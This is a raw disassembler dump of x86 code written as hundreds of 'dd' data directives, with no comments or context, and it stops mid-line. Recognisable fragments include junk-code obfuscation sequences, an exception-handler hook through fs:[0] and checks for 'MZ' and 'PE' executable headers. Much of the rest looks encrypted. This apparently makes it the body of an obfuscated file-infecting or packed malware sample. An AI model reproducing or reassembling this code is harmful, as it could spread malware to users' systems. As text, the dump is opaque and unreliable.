0BF665061h, 6A96A3C3h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 7987C356h, 0BD8B1326h, 9352B99h, 0B76FB5FFh, 8D890938h dd 93503B5h, 28995FFh, 6A0935h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 0B5DB1DC3h, 0FA8AF261h dd 0FE860h, 4D570000h, 0D988099Dh, 0D7FB2C9Eh, 0E26888E2h dd 0D18166A3h, 8B599E33h, 351B69BDh, 0B58B6109h, 938B763h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 18C35040h dd 37490B41h, 4DF2588Eh, 858BDA8Ah, 9350E99h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0AC35242h, 0A7765225h dd 89873788h, 0C486h, 8DBD3300h, 8B093531h, 35162995h dd 57006A09h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 71D9858Ch, 91977F44h, 2FBD8D89h, 8F0F0935h dd 6, 29DBD8Bh, 0C2830935h, 56006A04h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 3458F021h dd 8B1B090Eh, 49BF6678h, 0F5BD8B19h, 89093515h, 0BD8B2050h dd 9352655h, 0CC07858Dh, 0BB660938h, 8689B018h, 0B8h, 6AFE8B66h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 0FFFB8B2Fh, 38B76FB5h, 1B53109h, 0FF093528h dd 35115195h, 57006A09h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 783D39D7h, 0CF816647h, 66506355h dd 8927E7BFh, 0AE92434h, 36000000h, 0EF2097C8h, 0DC9F6FA6h dd 6FB5FFC6h, 0FF0938B7h, 350B5595h, 0F98B6609h, 79BD83h dd 0F000935h, 3D84h, 9665B300h, 8E9h, 0F43CD300h, 76276B84h dd 6A965022h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 0AF9CC350h, 3844C0Dh, 79BD8B60h dd 0B1093507h, 0B5FF61E0h, 938B76Fh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 55C35040h, 61C90A0Dh, 1C3595FFh dd 9D890935h, 9353231h, 0B76FB5FFh, 0B70F0938h, 0E595FFD9h dd 0F09352Ch, 284h, 83DC8A00h, 3526BDBDh, 840F0209h, 3Bh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 7BC35141h dd 2FD38166h, 0AD858B64h, 66093526h, 95D5F381h, 264DBD0Bh dd 0C60935h, 919D8B00h, 0C7093505h, 35326585h, 9, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 80ACE6C5h, 57E92CD7h, 6AFFFFF4h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 18FCC356h dd 7A083D09h, 8BA6CB80h, 51006AC1h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 12A9A9FEh, 54FB5BAAh dd 0BB663337h, 0BD0BC563h, 9352ED1h, 2659858Dh, 0BF0F0935h dd 8E950D8h, 7E000000h, 9C9CCEABh, 896E620Ah, 6A2404h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 152F0BC3h, 6A19834Fh, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 6D60143Fh, 604136CCh dd 2A819D31h, 820F0935h, 6, 28E18D29h, 6A610935h, 9BE38100h dd 8D41C25Ch, 3A343185h, 51006A09h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 0E637918Fh, 5C0834Eh dd 1D3DBD8Bh, 8B500935h, 240489D9h, 1DC99D8Bh, 6A0935h dd 1AE18589h, 6A0935h, 95FFD0B7h, 9350331h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0D8C35242h, 273E4F9Ah dd 0C024B893h, 0AB8D8DF0h, 6A09389Ah, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 158AC356h dd 75BD89BCh, 0FF093500h, 56006AD1h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 0B1611256h dd 6C4275C5h, 0B70F2127h, 19BD83FEh, 109351Ch, 85850Fh dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 28116C3h, 118E0F99h, 0E9000000h, 0Ch, 3BFEF5FEh dd 0BE833E13h, 0A3A72742h, 6A026Ah, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 8B5DBFC3h dd 353341BDh, 0BB665009h, 48937D9h, 53006A24h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 5195FFADh dd 0E9093511h, 0CE7h, 0E8h, 0ED815D00h, 93A343Bh, 0CE8h dd 8D10FB00h, 1D16C548h, 0FDE14433h, 9D8B5F5Bh, 93523F5h dd 0DE9h, 0F970EA00h, 0B3A6CB3Ah, 0F97D91F5h, 9D8B178Dh dd 9350015h, 932B858Dh, 6A0938h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 0FCDF1BC3h, 9870F50h dd 60000000h, 66C18B66h, 617A29B8h, 6A240489h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 49E5C353h, 0F271A19h, 0FF6442EDh, 35h, 68D0F00h, 81000000h dd 0FF5BD0CFh, 25896455h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 50C35545h dd 0BE308A15h, 0DE819D1h, 0D6000000h, 6AE328D0h, 9264FAEAh dd 0AC85F146h, 0FE9h, 570D5000h, 1ACF3866h, 0B33186FDh dd 1589CE0Eh, 0F88B665Bh, 300985FFh, 6A0935h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 63DCAAC3h dd 0F85F9AC8h, 6DBD89ABh, 6A093524h, 798509FFh, 0FF093516h dd 350D45B5h, 50006A09h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1704h, 0C3504000h, 95D9612Ah, 228D9D8Bh, 95FF0935h dd 9352EB9h, 0F3E9h, 0AEE6BB00h, 0B033EEh, 31CDBD89h, 70E60935h dd 2C859D29h, 71E40935h, 29958D29h, 613C0935h, 0CE830Fh dd 0BF0F0000h, 0C8B60FD8h, 6800Fh, 95890000h, 93529D5h dd 6BAh, 0BF0F6000h, 0BD8B60F6h, 9350779h, 6161E0B1h, 830FC18Bh dd 4, 0FB25BB66h, 0F04E8C1h, 388h, 0D8B70F00h, 51E2F766h dd 1898589h, 2B5B0935h, 8BD98BC8h, 0CDBD8BD1h, 0E909351Dh dd 74h, 858B45B3h, 4947554Ch, 32F2BB66h, 6007C083h, 3C59503h dd 83610935h, 816600C0h, 3B365ACBh, 17830FD0h, 89000000h dd 350A2195h, 42E909h, 95890000h, 9351745h, 1C119D8Bh dd 8D8B0935h, 0FFFFFFFFh, 0FF37BB66h, 0F01E183h, 2384h dd 0B5315200h, 9350069h, 0FFA5835Fh, 0FEFFFFFFh, 89DF8B66h dd 47554C95h, 8D9D8B49h, 0E909350Dh, 0 aN9J db '█╣<╠9',9,'j',0 dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 0FE88F8C3h, 0F8D0Fh, 0AE90000h, 7000000h, 6BA4707Fh dd 9447E507h, 5D9D8B9Ah, 6A093528h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 0E9AD7678h dd 0Fh, 0FBB73503h, 3F3F8BB0h, 9A63143h, 0FFBE2763h, 35082995h dd 7FEB8009h, 10B2B9h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 8A18675Eh, 1224D225h dd 0EE9h, 79473000h, 0F7E8FA66h, 0E2C83B9Dh, 8B99EA43h dd 4DBB66DFh, 0FCE1836Dh, 4219D89h, 29FC0935h, 351679BDh dd 0B809h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 898241C3h, 351F899Dh, 6AD22B09h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 9AACC355h, 0FF270AABh, 0DB816661h, 33AD45C2h dd 3E8D1C2h, 4E983D0h, 6AF475h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 506E10C3h, 4F38166h dd 719D8B23h, 0D093502h, 88h, 5D5DEF81h, 958B13AEh, 9351629h dd 0D81B589h, 0B5890935h, 9350A95h, 287D8D8Bh, 0BF660935h dd 8B502E56h, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 12C35040h dd 816659C9h, 0F803DE3h, 89h, 9EBB6600h, 49BD8342h, 93512h dd 61840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 4CAC48C3h, 3351DA35h, 9529A158h dd 935234Dh, 0B8h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 0B529BE17h, 93502CDh dd 4C028D8Dh, 0BB660935h, 0E1FFDC9Eh, 83DEB70Fh, 352255BDh dd 840F0009h, 44Dh, 0F9AC780h, 0BD83FBBFh, 9352255h, 55840F01h dd 6A000004h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 382EC352h, 55BD83C7h, 3093522h dd 3F4860Fh, 0BD8B0000h, 93530A9h, 7E960h, 5ECA0000h, 0D1D1E6E0h dd 8DADBFAAh, 8C6645A2h, 14E9D9h, 6AAD0000h, 10238B74h dd 0E3146025h, 0E141CE36h, 67C67310h, 8B0F1530h, 6, 2E598589h dd 0E1800935h, 51006A04h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 0DB6C567Dh, 8928B11Ah dd 352E0585h, 0B1EB8109h, 0A7A3DB3h, 34840FC9h, 8B000001h dd 352E919Dh, 61858B09h, 6009352Bh, 2AC9BD33h, 85290935h dd 93511B5h, 7D853361h, 0E909350Dh, 11h, 84496616h, 4059A42Eh dd 607AC70Dh, 0C0E80D13h, 8B665094h, 240489DFh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 12C35747h, 54FB5BAAh dd 0F663337h, 6AFFBFh, 0AFE78166h, 4E809h, 3FF0000h, 11E8001Fh dd 0A9000000h, 0EABE5BBFh, 0FCAFDF6h, 0B43DDDD6h, 95E3C92Ch dd 4B0BB66h, 8B66505Fh, 24448BFEh, 0D88B6604h, 6060008Bh dd 60616160h, 5A56F78Bh, 44896161h, 1BB30424h, 0DD95FF58h dd 6A09350Ch, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 73AAC357h, 0F25269C0h, 359D8B4Fh dd 8909351Fh, 38B76F85h, 56006A09h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 0E58885D5h, 0F58D17A2h dd 0F5E90DB3h, 6A000001h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 410C351h, 4D4FFF55h dd 599D8B85h, 8B09351Bh, 38B76785h, 51006A09h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 0C70BE84Eh dd 1800h, 0D8E78000h, 0B76BB58Bh, 6A0938h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 0DAF9D0C3h dd 5D9D89CDh, 8B093524h, 350C35BDh, 0D5858B09h, 8B093524h dd 351F49BDh, 0F068909h, 2DBBF9B7h, 8B65FA1Bh, 352B6185h dd 51006A09h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 65B79F10h, 89F84246h, 9D8B0446h, 93511EDh dd 28259D8Bh, 0F500935h, 284h, 898AB300h, 0B5FF2434h, 938B767h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 5DC35242h dd 3330B548h, 68AAB3FCh, 8E6E5ACDh, 81FE8B66h, 0A9322404h dd 6A71B0h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 8B35FFC3h, 80AD1982h, 12E9E5D7h, 2B000000h dd 923C71A1h, 75902A2Eh, 6BA75F2Fh, 971A6958h, 6F858D42h dd 6A0938B7h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 6392C353h, 707262E6h, 0FD40951h dd 14E890h, 0B6F00000h, 0D2C29D5Ch, 6203294Bh, 0D168ED2Dh dd 8BBE8A03h, 880FE79Dh, 6, 8E0Fh, 505F0000h, 8A0F56h dd 5B000000h, 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 0E92D1E06h, 6, 20D9D2B8h, 95FF3011h dd 9350CDDh, 68A0Fh, 85890000h, 935105Dh, 68F0Fh, 9D890000h dd 9350AB1h, 699D8961h, 0C709352Bh, 35225585h, 309h, 0B1BD8B00h dd 8309350Eh, 38B76FBDh, 840F0009h, 56h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 16h, 0A3C35343h, 9D89473Fh dd 93511E9h, 0E9DE8B66h, 45h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 0B4C35040h, 0FB7F927h, 7DEEA9FDh dd 3189BD8Bh, 30500935h, 4400110Ch, 0E8C10111h, 11443010h dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h dd 7504E983h, 8B00EBE7h, 0CC380C0h, 31E5BD33h, 0BD830935h dd 9352255h, 0A2850F03h, 66000003h, 83982CBFh, 38B76FBDh dd 840F0009h, 391h, 0BBBCCB81h, 0B5FF58EFh, 938B76Fh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 9AC35343h, 66A0BC7Eh dd 4643C381h, 2E1195FFh, 13E80935h, 51000000h, 0DAFAA8AFh dd 9EA75C00h, 8BEE0FD2h, 0ED9A46EDh, 68BF7D1Fh, 5B1766ECh dd 0B763B58Bh, 0FE90938h, 0D6000000h, 5EEFE802h, 824AB473h dd 9E79EA2h, 6C73992h, 10001h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 2AC35646h, 0D3FD29DDh, 0E8C092E6h dd 0Ah, 956B2246h, 9DFD344h, 8166A9BAh, 5B4400F7h, 8820F96h dd 0F000000h, 282h, 50616000h, 6A96FB8Bh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 5877C351h dd 14963CD5h, 0E80E2389h, 12h, 0B5802022h, 0B0140F78h dd 86124D8Ah, 0DED39598h, 0F55135DDh, 0B5FF5B5Fh, 938B76Fh dd 549BD8Bh, 95FF0935h, 9350289h, 0B95B589h, 0B58B0935h dd 938B763h, 5B9BD8Bh, 858B0935h, 9350E99h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 8AC35646h dd 212B184h, 4890FCCh, 66000000h, 6037A5BFh, 2C51B58Bh dd 8D890935h, 9351779h, 0C4868961h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 3E46C355h, 857FC258h, 8166252Ah, 8B7F25F3h, 35162995h dd 0B9858909h, 83093528h, 6A04C2h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 899B97C3h, 352D4D95h dd 4F0BF09h, 508936D4h, 8DF88B20h, 38CC0785h, 52006A09h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0D740C3C1h, 0C1C1EF91h, 3919589h, 86890935h, 0B8h, 0F8A0Fh dd 0AE90000h, 5E000000h, 0CBA2D119h, 0A784B0AEh, 29006A76h dd 350D759Dh, 6FB5FF09h, 6A0938B7h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0F4EBC351h dd 28DF7BBFh, 12CF8005h, 115195FFh, 6A0935h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0C3E662C3h dd 948BA73Fh, 0E5BFF67Eh, 89525E3Dh, 352CA5B5h, 13E99609h dd 18000000h, 9B4E315Bh, 58ACF4A4h, 0CD0A29F0h, 76166CC3h dd 0F505E43h, 8Fh, 6A9600h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 794250C3h, 5CF1DFCBh dd 6FB5FF26h, 310938B7h, 3531FD95h, 5595FF09h, 8909350Bh dd 3508919Dh, 79BD8309h, 93500h, 11840Fh, 0C7800000h, 0BB5650E6h dd 549892AEh, 2434895Bh, 0FFFFBF0Fh, 38B76FB5h, 0DABF0F09h dd 1C3595FFh, 0BB660935h, 0B5FF292Dh, 938B76Fh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 65C35040h, 33D67D9Ch dd 1AAB0AD7h, 0E595FFA1h, 6A09352Ch, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 638FC351h dd 0BD83F98Dh, 93526BDh, 1A840F02h, 89000000h, 351785BDh dd 0AD858B09h, 23093526h, 351CF59Dh, 0C609h, 2EC38166h dd 6585C79Dh, 93532h, 8B000000h, 352649BDh, 0F459E909h dd 0E781FFFFh, 7027F831h, 0E9F5C18Bh, 7, 85630709h, 0BA97C836h dd 0F00E0000h, 0EA81h, 0C283F000h, 0AD958914h, 8309350Eh dd 858D14EAh, 93A41C3h, 35FF6450h, 0 dd 258964h, 0E8000000h, 0 db 'X+б%',0 db 0F0h, 2 dup(0FFh) dd 4D388166h, 12850F5Ah, 0F000000h, 33C50B7h, 503A81D0h dd 0F000045h, 0A84h, 10002D00h, 0D9E90000h, 8BFFFFFFh dd 0E98589C8h, 3093531h, 0B70F3C40h, 95890650h, 9350399h dd 8950508Bh, 351DFD95h, 0F80509h, 508B0000h, 89D1030Ch dd 3525E595h, 8500309h, 7919589h, 8F640935h, 5, 4C48300h dd 13E9h, 4C8B5100h, 0A9811024h, 0B0h, 1000h, 0C3C03359h dd 2365BD83h, 0F000935h, 2484h, 9D85C600h, 47093517h, 9AA7D268h dd 7DB5FFD4h, 8D093516h, 387B7085h, 6AD0FF09h, 89D0FF00h dd 35066185h, 8DD38B09h, 3A42C88Dh, 498D0109h, 89093517h dd 3516298Dh, 95BD8B09h, 66093504h, 85C7FB8Bh, 935287Dh dd 6068h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 36C35545h, 471BD29h, 85C70935h, 9352255h, 0 dd 89DABF0Fh, 3510459Dh, 9DB5FF09h, 6A09352Eh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 8A7C357h, 0C59A864h, 0BF0F6009h, 9DE381D7h, 6154121Ch dd 0D0595FFh, 6A0935h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 0AEF52EC3h, 61BD8B3Ah, 6A093511h dd 2995FF00h, 8B093508h, 0CD4DEBC0h, 5DBC7121h, 3ABBC88Ah dd 0F6BC74A5h, 10CCC7AFh, 9436F974h, 0A5C996BBh, 0AD206501h dd 0A83A8465h, 0E1A9265Fh, 26B8F568h, 7D19F2ACh, 0F0BF5831h dd 8806A096h, 0B3DFBD2Ch, 0D179E85Ch, 37BA9782h, 0A9F5BB49h dd 1F7DC7D6h, 128186CDh, 442E8D8Dh, 8D89093Ah, 9352569h dd 16298D89h, 6A0935h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 0D84E5CC3h, 7E9FC165h, 7D85C7EFh dd 58093528h, 6A000067h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 1BF3C357h, 4B2013E5h dd 3157BF67h, 352F25B5h, 85C75F09h, 9352255h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 85C35141h dd 92BED3F5h, 312A6908h, 2BF5B5FFh, 6A0935h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0E8913FC3h dd 13h, 9F5F17B4h, 0BE5DC8CCh, 0D697CEF4h, 9AAE9575h, 0F4D20C5h dd 58Bh, 0F2816600h, 895AB424h, 3525A9B5h, 595FF09h, 6A09350Dh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 326C352h, 0FBD78166h, 0FF006ACEh, 35082995h dd 0EBC08B09h, 5C4CA50Dh, 0B311F533h, 5173716Eh, 2ADEBD4Ah dd 46D4D471h, 7F01DC4Bh, 5CD4C855h, 33639852h, 33A9A90Bh dd 5AF19826h, 0AEEF5E26h, 603CAD31h, 0E4FFB44Eh, 4EF867A5h dd 0BEAFAD30h, 0B28E8A3h, 0BA79672Fh, 6F6FDA3h, 56D71B2Fh dd 333CAD05h, 33831D29h, 0B6C09826h, 3A9CDC76h, 71D61576h dd 63A0A262h, 11B10DD9h, 64839113h, 59359826h, 611F1523h dd 6344A262h, 77E41DABh, 0CC03911Ch, 6B879B3h, 3C14932Fh dd 336AA1A2h, 61B01526h, 6393A262h, 334DAACEh, 0BEF6D826h dd 917C0A3h, 0B624C82Fh, 3AEEDC74h, 6AFF6776h, 0B03CAD01h dd 0B61794E2h, 3A77DC74h, 71231576h, 635AA262h, 11CC0DD9h dd 513D9113h, 666A9826h, 646474ADh, 4E11CE74h, 0DA8DAB2Eh dd 33A69824h, 0CD3DF66h, 0C62C9726h, 2B67D9h, 3B1713EFh dd 3335B2CFh, 0B948AB26h, 3A71831h, 63E868ADh, 88005AADh dd 33A9982Ch, 33D49BCFh, 7D896F26h, 3C3566A5h, 0CC656CA1h dd 0FB4EC3D9h, 38EEDF7Eh, 0FDD697E6h, 0B85667D9h, 6C8EC6E7h dd 37A8517Fh, 73881526h, 0BE93A262h, 908EDABh, 93202Fh dd 0FC780000h, 310271E7h, 83C8D007h, 0F4904C7h, 0FFFFF285h dd 75B58DFFh, 8D093A45h, 3A45948Dh, 83CF2B09h, 0C88B05E9h dd 0FE8h, 35518400h, 0E417834Dh, 27AE18CBh, 0D0E4CEC3h dd 27798D8Bh, 0F5A0935h, 68Ah, 58536000h, 81615EB3h, 5E41C2h dd 10E900h, 0B5E90000h, 0E21701A7h, 0E4777048h, 66975E2Bh dd 64B818F8h, 80000017h, 32FF2CF5h, 5FF78B66h, 2D318D89h dd 0F7810935h, 0A16142Fh, 0F781F28Bh, 2C0A5036h, 0A9B2C781h dd 39B96C31h, 890AD306h, 6820F3Ah, 8B000000h, 3531F5B5h dd 4EA8309h, 56E98166h, 1E88155h, 0F000000h, 1485h, 24E900h dd 0E590000h, 0C7E3B394h, 0A751E660h, 2E43063Dh, 0BDBD89E9h dd 0E9093528h, 0FFFFFF9Ah, 20E2BF3Ah, 0A8C64A40h, 3E6056DBh dd 0D3C054C6h, 36F009AAh, 80267EADh, 0BC75DF19h, 85796293h dd 0C100D625h, 3E538F09h, 0B10367D0h, 3089DF10h, 0BC35F5D1h dd 138429Dh, 66FFD627h, 883874Bh, 0BC35EF69h, 0E517AB10h dd 0B1036743h, 3089DF10h, 0BC35F5D1h, 427429Dh, 66FFD627h dd 0A4E9874Bh, 0F500DF10h, 0E6D3C7C6h, 9AFD523Fh, 7067DE87h dd 0A307597Bh, 0B503531Fh, 3E66DF10h, 3EC054C6h, 8024529Dh dd 6D8CB919h, 0B0094A9Bh, 0B1A8D625h, 0B6685B1Fh, 3E66DF10h dd 8BD5CCFh, 0B509EA1Fh, 0B53C5B1Fh, 0B56ADF10h, 0B5033743h dd 0EE20DF10h, 0E98984D3h, 0F181DB34h, 0B516DB34h, 0E643DF10h dd 6C0311D3h, 0B500D1F9h, 5A655910h, 794EF745h, 0BF25AD59h dd 5C4BFB81h, 0B500DC32h, 8561529Bh, 0B5BED625h, 0D302DF37h dd 38A706AAh, 8D6EBE95h, 0E700B519h, 0B500DCF8h, 765AFF10h dd 9154564Ah, 91445E14h, 0B500C714h, 76529D10h, 0E76CA083h dd 0DCB5D607h, 4A09EA35h, 30CA55C0h, 7384D0D0h, 0DF00DF10h dd 0B6E88F10h, 9500DF10h, 3C581C48h, 3404FB54h, 0A804FB54h dd 0F500DF10h, 9D651C40h, 1E74952Eh, 4525BF4Ch, 0A3AD4299h dd 8D81D625h, 4E81B947h, 0B5305A1Fh, 0B56ADF10h, 0B5033745h dd 0E820DF10h, 0D98982D3h, 0F181DB34h, 0B516DB34h, 0E045DF10h dd 6EE635D3h, 7780FFA1h, 0CD81B989h, 0BA02DD14h, 0B5024194h dd 34662310h, 0BA604328h, 0B5008B95h, 40855610h, 3509EA3Ch dd 0BAE8DD68h, 0B5009B95h, 0E700B510h, 0B500DCF8h, 765AFF10h dd 9154564Ah, 91445E14h, 0B500CA14h, 76529D10h, 9C6048FEh dd 80022E85h, 0C0855619h, 0D409EA0Fh, 0B3785E76h, 300F7410h dd 0B500DF1Dh, 0F1E9259Bh, 3C00DF12h, 802C0A9Dh, 0B4006119h dd 0B56A9911h, 0B5033745h, 0E820DF10h, 0D98982D3h, 0F181DB34h dd 0B516DB34h, 0E045DF10h, 6BB147D3h, 308D7AA2h, 0BC38B171h dd 0B8E55299h, 388BD625h, 0BC35F1F1h, 0B56A0FEFh, 0B5033746h dd 0EB20DF10h, 0C18981D3h, 0F181DB34h, 0B518DB34h, 0E346DF10h dd 52A20AD3h, 7585450Dh, 0B4B45B1Fh, 0B56ADF10h, 0B5033742h dd 0EF20DF10h, 0E18985D3h, 0F181DB34h, 0B518DB34h, 0E742DF10h dd 2573A5D3h, 288B5894h, 0BC35DB65h, 8866E791h, 300FDD12h dd 0B500DF4Ch, 5D53DF7Ah, 0B500DF13h, 0EEC38430h, 0B1248399h dd 0B1249B91h, 0B500DF0Dh, 0AAC38C53h, 3A8B3F09h, 5A4269AEh dd 3C9D54F8h, 3409EA0Eh, 8866D968h, 310FA54Fh, 0B500DE63h dd 5D52DF7Ah, 0B500DF13h, 0EFC38530h, 0B1248B99h, 0B1249B91h dd 0B500DF0Ch, 26C38D52h, 665A33ADh, 0FD8B1405h, 29385E76h dd 8F85D070h, 0D300DF10h, 842C60A9h, 80088EA5h, 0B7785F19h dd 9385D0F8h, 0D300DF10h, 2F4B3091h, 0B3785E76h, 300F1F10h dd 0B500DF05h, 0B506561Fh, 208BDF10h, 0BC35D441h, 0B501D1F9h dd 7DBFD010h, 0B40061E5h, 7F80A111h, 0D48552DDh, 0BA09E77Eh dd 0B500DD9Bh, 4AD05510h, 75852AC0h, 0B5C05B1Fh, 35FCDF10h dd 300F3728h, 0B500DF53h, 5D57DF7Ah, 0B500DF13h, 0EAC38030h dd 0B124A399h, 0B1249B91h, 0B500DF05h, 42C38857h, 6C8D5620h dd 3509EA1Eh, 0BA73DA68h, 0B500C995h, 24B5D610h, 3509EA1Dh dd 0BA53D868h, 0B5007D94h, 0B495DE10h, 0D309EA0Dh, 0B08FE791h dd 0B5685A1Fh, 3E0FDF10h, 0B500DF16h, 214A3491h, 4B8BDF76h dd 0DD06A790h, 0B5505A1Fh, 0BE57DF10h, 8021168Dh, 34668619h dd 90FFD468h, 0B53C5A1Fh, 0B56ADF10h, 0B5033742h, 0EF20DF10h dd 0E18985D3h, 0F181DB34h, 0B514DB34h, 0E742DF10h, 308984D3h dd 0BC35CF89h, 0B500E1F9h, 0B5093710h, 1257DF10h, 490F0FC3h dd 3C66DABAh, 800CDE95h, 0B5B88519h, 3500DF10h, 0F5E9E5D3h dd 0DF00DF10h, 0B6E88D10h, 9500DF10h, 3C5A1C4Ah, 3404FB44h dd 0A104FB54h, 0F700DF10h, 0D8E1C42h, 0B500DF11h, 0B500CCF8h dd 92F48210h, 0F10C41A9h, 40F8E6B8h, 0EBE5B3D8h, 9BC50F79h dd 0BE756239h, 255BD625h, 0E5DE5476h, 3E90AFA6h, 8002368Dh dd 0E5BD5219h, 3809E556h, 8F4A649Dh, 0E0236719h, 3003A876h dd 0BC35F645h, 61103Bh, 80A111B4h, 8552DD7Fh, 9E77ED4h dd 0DD9BBAh, 0D05510B5h, 852AC04Ah, 5E98375h, 8B58A4F3h dd 352CE1BDh, 51006A09h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 0DD061A3h, 0A84F34D7h, 3DB9661Ah dd 0FC00B64h, 7684h, 0FABF0F00h, 4C02B58Dh, 6A0935h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 76C6D0C3h, 857D45B3h, 3B8h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0FF982215h dd 52006AE6h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 0B0FBB735h, 66FBB70Fh, 401A65B9h, 217BBA66h dd 24C19D03h dd 0C08B0935h, 8344D380h, 3526A1BDh, 9750009h, 3079BD83h dd 74000935h, 8B535019h, 403B8C0h, 85890000h, 9352CA9h dd 0B49F9D8Dh, 0D3FF0937h, 0BD83585Bh, 9353079h, 50177400h dd 403B853h, 85890000h, 9352CA9h, 0B1409D8Dh, 0D3FF0937h dd 6660585Bh, 0E960C88Bh, 